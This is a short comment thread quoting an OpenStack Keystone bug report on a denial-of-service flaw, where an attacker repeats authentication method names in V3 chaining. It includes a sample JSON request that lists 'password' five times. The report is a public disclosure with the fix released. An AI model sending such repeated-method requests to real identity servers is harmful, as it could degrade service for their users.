Open Stack

I could be mistaken, but I believe 2013.1 would be affected as well.
(please correct me if that's not true!)

+1 for the description itself

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https://bugs.launchpad.net/bugs/1300274

Title:
  V3 Authentication Chaining - uniqueness of auth method names

Status in OpenStack Identity (Keystone):
  Fix Released
Status in Keystone havana series:
  New
Status in OpenStack Security Advisories:
  Confirmed

Bug description:
  In V3.0 API,  we can chain authentication methods. An attacker can
  place the same authentication method multiple times in the methods
  filed. This will result in the same authentication method checking
  over and over (for loop in code).  Using this, an attacker can achieve
  some sorts of Denial of Service.   The methods field is not properly
  sanitized.

  {
     "auth":{
        "identity":{
           "methods":[
              "password",
              "password",
               "password",
               "password",
               "password" 
           ],
          "password":{
              "user":{
                 "domain":{
                    "id":"default"
                 },
                 "name":"demo",
                 "password":"stack"
              }
           }
        }
     }
  }

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